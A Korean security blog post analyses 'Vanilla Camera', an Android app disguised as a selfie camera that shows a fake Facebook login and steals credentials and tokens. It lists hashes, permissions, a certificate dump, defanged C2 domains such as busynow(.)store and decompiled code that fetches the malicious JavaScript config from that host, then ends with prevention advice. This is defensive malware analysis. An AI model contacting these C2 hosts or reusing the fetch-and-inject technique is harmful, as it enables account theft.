꿈을꾸는 파랑새

오늘은 구글 플레이 스토어 에서 유포를 했으면 다운로드 는 약 5000 정도 이루어졌고 현재는 구글 플레이 스토어 에서는 폐쇄되었지만, 여전히 APK 등을 공식 구글 플레이 스토어 가 아닌 APK 파일을 다운로드 할 수가 있는 사이트들에서는 유포되고 있습니다.
바닐라 카메라(Vanilla Camera )
놀라운 필터로 놀라운 셀카를 찍을 수 있는 모든 기능을 갖춘 전문 카메라입니다! (is a full-featured professional camera for taking incredible selfies with amazing filters! )
카메라 기능:(Camera Features:)
다양한 스타일의 전문적인 효과(Professional effects in different styles)
세련된 HDR:저조도 및 역광 장면에서 캡처된 이미지 개선(Stylish HDR - Improves images captured in low light and backlit scenes)
라이브 필터:사진이나 비디오를 찍기 전에 필터 효과 미리보기(Live Filters - Preview filter effects before taking photos or videos )
홀드 포커스 모드, 장면 모드, 색상 효과, 화이트 밸런스, ISO 및 노출 보정/잠금, 손전등(Hold Focus Mode, Scene Mode, Color Effects, White Balance, ISO and Exposure Compensation/Lock, Flashlight )
빠른 캡처, 연사 촬영, 자동 안정화(Quick Capture, Burst Shooting, Auto Stabilization)
카메라 및 비디오 품질 및 해상도를 쉽게 조정(Easily adjust camera and video quality and resolution)
원터치로 완벽한 사진을 찍어보세요! 더 특별한 순간을 HD 카메라로 담자!"(ake the perfect photo with just one touch! Let's capture more special moments in HD camera!")

가짜 페이스북 로그인 화면
가짜 페이스북 로그인 화면

라고 돼 있으며 페이스북 계정을 훔치는 악성코드이며 기본적으로 이런 악성코드 이름은 
페이스스틸러(Facestealer)이라는 것은 사용자의 입력을 요청하는 영향을 받는 시스템 화면의 사용을 보여주며 마지막으로 사용자에게 Facebook 로그인(페이스북 로그인) 페이지가 표시되고 페이스북 로그인을 요청 여기서 악성코드에서 삽입된 악성 자바스크립트가 로그인 자격 증명을 도용하여 명령 및 제어 서버 전송하며 C&C 서버는 로그인 자격 증명을 사용하여 수집된 데이터에 대한 액세스 권한을 부여하는 방식을 사용하고 있습니다.
이렇게 되면 소셜 미디어 계정(SNS)에 대한 로그인 자격 증명이 도난당하면 트위터, 페이스북 같은 계정이 도난되어서 나도 모르게 범죄에 악용되는 것입니다. 지난 시간에 악성코드 분석을 진행한 무료 VPN으로 위장하는 Touch VPN Proxy하고 같은 형태입니다.
이런 악성코드 공통점은 무료 VPN, 무료 카메라, 무료 사진 편집 등으로 위장하는 악성코드들입니다. 악성코드 유포했던 주소는 다음과 같습니다.

https://play.google(.)com/store/apps/details?id=cam.vanilla.snapp

해당 악성코드는 스마트폰 기기가 감염되면 사용자에게 Facebook(페이스북)에 로그인하라는 메시지가 표시를 해서 자격 증명을 입력하지 않으면 앱을 사용할 수 없으며 로그인에 성공하면 맬웨어 작성자가 자격 증명과 인증 토큰을 훔쳐가는 방식을 취하고 있으며 이렇게 훔친 페이스북 계정은 음란물 유포,보이스피싱 등 범죄에 악용됩니다.
해당 악성코드 정보는 다음과 같습니다.
패키지 이름:cam.vanilla.snapp
Main Activity:cam.camera.snapp.SplashActivity
File Size:21301837 bytes
DEX Base 정보는 다음과 같습니다.
Dex File Name:classes.dex
File Size:7977120 bytes
MD5:bf5d73c4262e957f847bd731c8fb2401
Class Size:6807
Method Size:55104
String Size:60480
Dex File Name:classes2.dex
File Size:7837124 bytes
MD5:2222ccb55989aca992fc486b083bddd2
Class Size: 6545
Method Size:47863
String Size:57996
Dex File Name:classes3.dex
File Size:8321072 bytes
MD5:0874dee0315a9ee8326cad3cc371abe2
Class Size:9797
Method Size:65078
String Size:47660
Dex File Name:classes4.dex
File Size:7076424 bytes
MD5:6fdc4f55200e947cbaa7f6aea4dc0575
Class Size:5736
Method Size:43004
String Size:43788
총 4개의 classes.dex 이 존재 하고 있습니다. 그리고 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명:Vanilla Camera.apk
사이즈:20.3 MB
CRC32:7ac30e46
MD5:4a822e39dc99347b3fbcd532ca06ebb6
SHA-1:32f34b92d7929badc123e514c6c47cd90ed59ece
SHA-256:0d4230e74da1525d511d106096ae4504e7579c6221993768c7c742e49b0f9298
입니다.
그리고 해당 악성코드의 권한은 다음과 같습니다.

Vanilla Camera(바닐라 카메라) 악성코드 안드로이드 권한
Vanilla Camera(바닐라 카메라) 악성코드 안드로이드 권한

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="com.google.android.gms.permission.AD_ID"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

간단하게 인터넷, 액세스 네트워크 상태, 구글 광고 아이디 전용 퍼미션, 안드로이드 하드웨어 카메라 사용, 스마트폰 마이크로 SD 카드 읽고 쓰는 권한 ,Wi-Fi(와이파이) 연결의 모든 측면을 관리하는 권한이 보이는 것을 확인할 수가 있습니다.
해당 앱을 실행을 하면 가짜 페이스북 로그인하라는 화면을 볼 수가 있습니다.
앱에서 연 위의 가짜 페이지는 WebView를 사용하여 서버에서 다운로드한 자바스크립트를 주입하는 방식을 사용하고 있습니다.
해당 악성코드가 실행되면 악성 코드 앱은 명령 및 제어(C2) 서버에 접근하여 악성 자바스크립트를 다운로드를 진행을 하며 주소는 다음과 같습니다.

https://busynow(.)store/config

 

cam.camera.snapp.SplashActivity$startApi$1 부분에 있으며 코드는 다음과 같습니다.

악성코드 자바 다운로드 주소
악성코드 자바 다운로드 주소

}else {
             ResultKt.throwOnFailure(p0);
             i.label = i4;
             if ((configs = RetrofitHelper.INSTANCE.createRetrofit("https://busynow(.)store/").getConfigs("config", i)) == cOROUTINE_SU) {
                return cOROUTINE_SU;
             }else {
                goto label_0058 ;
             }
          }
          cOROUTINE_SU = (obj.getExt1().length() > 0)? 1: 0;
          if (cOROUTINE_SU) {
             stringArray = new String[]{","};
             list = StringsKt.split$default(obj.getExt1(), stringArray, false, 0, 6, null);
             if (list.size() >= i2) {
                NorthUtils.INSTANCE.setAll(Integer.parseInt(list.get(0)));
                NorthUtils.INSTANCE.setShow(Integer.parseInt(list.get(i4)));
                NorthUtils.INSTANCE.setIntervalTime(Integer.parseInt(list.get(i3)));
             }
          }
          return Unit.INSTANCE;
       }catch(java.lang.Exception e0){
       }
    }

크리덴셜 (credential), 토큰은 악성코드가 탑재된 자바스크립트를 통해 C2 서버로 전송됩니다. 해당 악성코드에 포함된 주소들은 다음과 같습니다.

http://ns.adobe(.)com/xap/1.0/
http://schemas.android(.)com/apk/res/android
http://schemas.applovin(.)com/android/1.0
https://a.applovin(.)com/
https://a.applvn(.)com/
https://adc3-launch-staging.adcolony(.)com/v4/launch
https://adc3-launch.adcolony(.)com/v4/launch
https://assets.applovin(.)com/gdpr/flow_v1/gdpr-flow-1.html
https://busynow(.)store/
https://d.applovin(.)com/
https://d.applvn(.)com/
https://graph.facebook(.)com/
https://ms.applovin(.)com/
https://ms.applovin(.)com/1.0/sdk/error
https://ms.applvn(.)com/
https://play.google(.)com/store/apps/details?id=
https://prod-a.applovin(.)com,https://rt.applovin(.)com/4.0/pix, https://rt.applvn(.)com/4.0/pix,https://ms.applovin(.)com/,https://ms.applvn(.)com/
https://rt.applovin(.)com/
https://rt.applvn(.)com/
https://vid.applovin(.)com/,https://stage-vid.applovin(.)com/,https://pdn.applovin(.)com/,https://stage-pdn.applovin(.)com/,https://img.applovin(.)com/,https://stage-img.applovin(.)com/,https://d.applovin.com/,https://assets.applovin.com/,https://stage-assets.applovin.com/,https://cdnjs.cloudflare.com/,http://vid.applovin.com/,http://stage-vid.applovin.com/,http://pdn.applovin.com/,http://stage-pdn.applovin.com/,http://img.applovin.com/,http://stage-img.applovin(.)com/,http://d.applovin(.)om/,http://assets.applovin(.)com/,http://stage-assets.applovin(.)com/,http://cdnjs.cloudflare(.)com/,http://u.appl(.)vn/,https://u.appl(.)vn/,https://res.applovin(.)com/,https://res1.applovin(.)com/,https://res2.applovin(.)com/,https://res3.applovin(.)com/,http://res.applovin(.)com/,http://res1.applovin(.)com/,http://res2.applovin(.)com/,http://res3.applovin(.)com/
https://wd.adcolony(.)com/logs
https://www.applovin(.)com/privacy/
https://www.baidu(.)com/
https://www.example(.)com

androidx.core.telephony.TelephonyManagerCompat 부분에서는 IMEI 관련 코드가 있습니다.

악성코드 스마트폰 IMEI 관련 코드
악성코드 스마트폰 IMEI 관련 코드

/* loaded from: classes.dex */
public class TelephonyManagerCompat {
    private static Method sGetDeviceIdMethod;
    private static Method sGetSubIdMethod;

    public static String getImei(TelephonyManager telephonyManager) {
        int subscriptionId;
        if (Build.VERSION.SDK_INT >= 26) {
            return Api26Impl.getImei(telephonyManager);
        }
        if (Build.VERSION.SDK_INT >= 22 && (subscriptionId = getSubscriptionId(telephonyManager)) != Integer.MAX_VALUE && subscriptionId != -1) {
            int slotIndex = SubscriptionManagerCompat.getSlotIndex(subscriptionId);
            if (Build.VERSION.SDK_INT >= 23) {
                return Api23Impl.getDeviceId(telephonyManager, slotIndex);
            }
            try {
                if (sGetDeviceIdMethod == null) {
                    Method declaredMethod = TelephonyManager.class.getDeclaredMethod("getDeviceId", Integer.TYPE);
                    sGetDeviceIdMethod = declaredMethod;
                    declaredMethod.setAccessible(true);
                }
                return (String) sGetDeviceIdMethod.invoke(telephonyManager, Integer.valueOf(slotIndex));
            } catch (IllegalAccessException | NoSuchMethodException | InvocationTargetException unused) {
                return null;
            }
        }
        return telephonyManager.getDeviceId();
    }
/* loaded from: classes.dex */
    private static class Api26Impl {
        private Api26Impl() {
        }

        static String getImei(TelephonyManager telephonyManager) {
            return telephonyManager.getImei();
        }
    }

    /* loaded from: classes.dex */
    private static class Api23Impl {
        private Api23Impl() {
        }

        static String getDeviceId(TelephonyManager telephonyManager, int i) {
            return telephonyManager.getDeviceId(i);
        }
    }
}

스마트폰 카메라 관련 코드는 androidx.camera.core.ImageCapture에 있습니다.

/* renamed from: takePicture */
    public void lambda$takePicture$7$ImageCapture(final Executor executor, final OnImageCapturedCallback onImageCapturedCallback) {
        if (Looper.getMainLooper() != Looper.myLooper()) {
            CameraXExecutors.mainThreadExecutor().execute(new Runnable() { // from class: androidx.camera.core.-$$Lambda$ImageCapture$npxhuibVJrcXXUsnxko05AwexPc
                @Override // java.lang.Runnable
                public final void run() {
                    ImageCapture.this.lambda$takePicture$7$ImageCapture(executor, onImageCapturedCallback);
                }
            });
        } else {
            sendImageCaptureRequest(executor, onImageCapturedCallback, getJpegQualityInternal());
        }
    }

    /* renamed from: takePicture */
    public void lambda$takePicture$8$ImageCapture(final OutputFileOptions outputFileOptions, final Executor executor, final OnImageSavedCallback onImageSavedCallback) {
        if (Looper.getMainLooper() != Looper.myLooper()) {
            CameraXExecutors.mainThreadExecutor().execute(new Runnable() { // from class: androidx.camera.core.-$$Lambda$ImageCapture$W1rpIKqn96ZyUyKcAm3aqCdzu_Q
                @Override // java.lang.Runnable
                public final void run() {
                    ImageCapture.this.lambda$takePicture$8$ImageCapture(outputFileOptions, executor, onImageSavedCallback);
                }
            });
            return;
        }
        final ImageSaver.OnImageSavedCallback onImageSavedCallback2 = new ImageSaver.OnImageSavedCallback() { // from class: androidx.camera.core.ImageCapture.3
            @Override // androidx.camera.core.ImageSaver.OnImageSavedCallback
            public void onImageSaved(OutputFileResults outputFileResults) {
                onImageSavedCallback.onImageSaved(outputFileResults);
            }

            @Override // androidx.camera.core.ImageSaver.OnImageSavedCallback
            public void onError(ImageSaver.SaveError saveError, String str, Throwable th) {
                int i = 1;
                if (AnonymousClass7.$SwitchMap$androidx$camera$core$ImageSaver$SaveError[saveError.ordinal()] != 1) {
                    i = 0;
                }
                onImageSavedCallback.onError(new ImageCaptureException(i, str, th));
            }
        };
        final int jpegQualityInternal = getJpegQualityInternal();
        OnImageCapturedCallback onImageCapturedCallback = new OnImageCapturedCallback() { // from class: androidx.camera.core.ImageCapture.4
            @Override // androidx.camera.core.ImageCapture.OnImageCapturedCallback
            public void onCaptureSuccess(ImageProxy imageProxy) {
                ImageCapture.this.mIoExecutor.execute(new ImageSaver(imageProxy, outputFileOptions, imageProxy.getImageInfo().getRotationDegrees(), jpegQualityInternal, executor, ImageCapture.this.mSequentialIoExecutor, onImageSavedCallback2));
            }

            @Override // androidx.camera.core.ImageCapture.OnImageCapturedCallback
            public void onError(ImageCaptureException imageCaptureException) {
                onImageSavedCallback.onError(imageCaptureException);
            }
        };
        int relativeRotation = getRelativeRotation(getCamera());
        Size attachedSurfaceResolution = getAttachedSurfaceResolution();
        Rect computeDispatchCropRect = computeDispatchCropRect(getViewPortCropRect(), this.mCropAspectRatio, relativeRotation, attachedSurfaceResolution, relativeRotation);
        if (ImageUtil.shouldCropImage(attachedSurfaceResolution.getWidth(), attachedSurfaceResolution.getHeight(), computeDispatchCropRect.width(), computeDispatchCropRect.height())) {
            jpegQualityInternal = this.mCaptureMode == 0 ? 100 : 95;
        }
        sendImageCaptureRequest(CameraXExecutors.mainThreadExecutor(), onImageCapturedCallback, jpegQualityInternal);
    }

암호화 관련 코드들은 androidx.browser.trusted.PackageIdentityUtils 에 포함이 돼 있습니다.

암호화 관련 코드
암호화 관련 코드

/* loaded from: classes.dex */
    public static class Api28Implementation implements SignaturesCompat {
        Api28Implementation() {
        }

        @Override // androidx.browser.trusted.PackageIdentityUtils.SignaturesCompat
        public List<byte[]> getFingerprintsForPackage(String name, PackageManager pm) throws PackageManager.NameNotFoundException {
            PackageInfo packageInfo = pm.getPackageInfo(name, 134217728);
            ArrayList arrayList = new ArrayList();
            SigningInfo signingInfo = packageInfo.signingInfo;
            if (signingInfo.hasMultipleSigners()) {
                for (Signature signature : signingInfo.getApkContentsSigners()) {
                    arrayList.add(PackageIdentityUtils.getCertificateSHA256Fingerprint(signature));
                }
            } else {
                arrayList.add(PackageIdentityUtils.getCertificateSHA256Fingerprint(signingInfo.getSigningCertificateHistory()[0]));
            }
            return arrayList;
        }

        @Override // androidx.browser.trusted.PackageIdentityUtils.SignaturesCompat
        public boolean packageMatchesToken(String name, PackageManager pm, TokenContents token) throws PackageManager.NameNotFoundException, IOException {
            List<byte[]> fingerprintsForPackage;
            if (token.getPackageName().equals(name) && (fingerprintsForPackage = getFingerprintsForPackage(name, pm)) != null) {
                if (fingerprintsForPackage.size() == 1) {
                    return pm.hasSigningCertificate(name, token.getFingerprint(0), 1);
                }
                return token.equals(TokenContents.create(name, fingerprintsForPackage));
            }
            return false;
        }
    }

    /* JADX INFO: Access modifiers changed from: package-private */
    /* loaded from: classes.dex */
    public static class Pre28Implementation implements SignaturesCompat {
        Pre28Implementation() {
        }

        @Override // androidx.browser.trusted.PackageIdentityUtils.SignaturesCompat
        public List<byte[]> getFingerprintsForPackage(String name, PackageManager pm) throws PackageManager.NameNotFoundException {
            PackageInfo packageInfo = pm.getPackageInfo(name, 64);
            ArrayList arrayList = new ArrayList(packageInfo.signatures.length);
            for (Signature signature : packageInfo.signatures) {
                byte[] certificateSHA256Fingerprint = PackageIdentityUtils.getCertificateSHA256Fingerprint(signature);
                if (certificateSHA256Fingerprint == null) {
                    return null;
                }
                arrayList.add(certificateSHA256Fingerprint);
            }
            return arrayList;
        }

        @Override // androidx.browser.trusted.PackageIdentityUtils.SignaturesCompat
        public boolean packageMatchesToken(String name, PackageManager pm, TokenContents token) throws IOException, PackageManager.NameNotFoundException {
            List<byte[]> fingerprintsForPackage;
            if (name.equals(token.getPackageName()) && (fingerprintsForPackage = getFingerprintsForPackage(name, pm)) != null) {
                return token.equals(TokenContents.create(name, fingerprintsForPackage));
            }
            return false;
        }
    }

    static byte[] getCertificateSHA256Fingerprint(Signature signature) {
        try {
            return MessageDigest.getInstance("SHA256").digest(signature.toByteArray());
        } catch (NoSuchAlgorithmException unused) {
            return null;
        }
    }
}

 

그리고 해당 악성코드 인증서 정보는 다음과 같습니다.

악성코드 인증서 정보
악성코드 인증서 정보

서명자 BNDLTOOL.RSA (META-INF/BNDLTOOL.SF)
유형: X.509
버전: 3
시리얼 번호: 0xddf6aa6c39cba19fdbc171d7bd07c2cfea5d2868
소유자: CN=Android, OU=Android, O=Google Inc., L=Mountain View, ST=California, C=US
유효 시작 시각: Fri May 13 15:33:48 GMT+09:00 2022
유효 종료 시각: Mon May 13 15:33:48 GMT+09:00 2052
공개키 타입: RSA
지수: 65537
모듈러스 크기 (비트): 4096
모듈러스: 968079863222124207821707187049890259102073872143507045646704048084888300653316050833550104907998427201755046250688849722738218771704677759960101717725328469336907559053398340012645175058251828919906776093880269514075720112290373706505182289842720073098611295285015192857088608946780526576719956473509370018043219917882573277999503109997236540271424160369488199835236855105530470349672493501049811160809819313344915338706738524063071061487372851374936232801038805267080462247106573634315157856135611831855794401901106650366316025135936018054482283258709965991957093358412567244034249035246544261792119178002067434745787429365959364929473629194230146046308779502681243090493091162803776472269472590858518805104624355512089175868605527372571688751383231759647748354744085920895037185858382237047632512968571997183400803857591475662555041282445689282090023723956653898667444472453401893007405929017506057935365334822104207783312507590699289296513154454439767815864536236210644064845803292434851892006375349776110303098682642462194101748909454060394481055128605336391446526400748992064152848082126583092417518123254964820407923104518144306931282641663210189797293244995271405424262046047782709898564535759228355632608164468178566709071833
서명 유형: SHA256withRSA
서명 OID: 1.2.840.113549.1.1.11
MD5 지문: A4 0A 9D 94 3D 75 1D 84 59 23 DC E0 E6 88 16 09 
SHA-1 지문: 35 DA 2B 9F AA B5 69 AE DF FD 39 57 8B E7 27 B4 9B 11 00 98 
SHA-256 지문: 50 A7 75 21 14 D8 A0 FD FB 15 C9 B5 F3 BF 29 4C 49 E8 98 AA 14 59 63 3D F5 6C 97 88 DC 1B 6F 5B

현재 바이러스토탈(VirusTotal) 2022-07-20 10:19:39 UTC 기준 탐지하는 보안 업체는 다음과 같습니다.
McAfee-GW-Edition:Artemis!Trojan
악성코드가 사용하는 주소

busynow(.)store
Zs8668(.)com
kcoffni(.)xyz

입니다.
즉 사전 방역 기능으로 탐지하고 있으며 일단 개인적으로 보안 업체들한테 샘플을 제공을 했으며 이런 악성코드를 예방하려며 안드로이드 스마트폰 사용자 분들은 기본적으로 신뢰할 수 있는 백신 앱을 설치를 해서 사용을 하시길 바랍니다. 물론 만약 해킹을 대비해서 기본적으로 이단계 인증은 필수로 해주는 것이 가장 좋은 방법입니다. 그리고 기본적으로 구글 플레이 스토어 에서도 악성코드가 유포되고 있으니 조심하시길 바랍니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band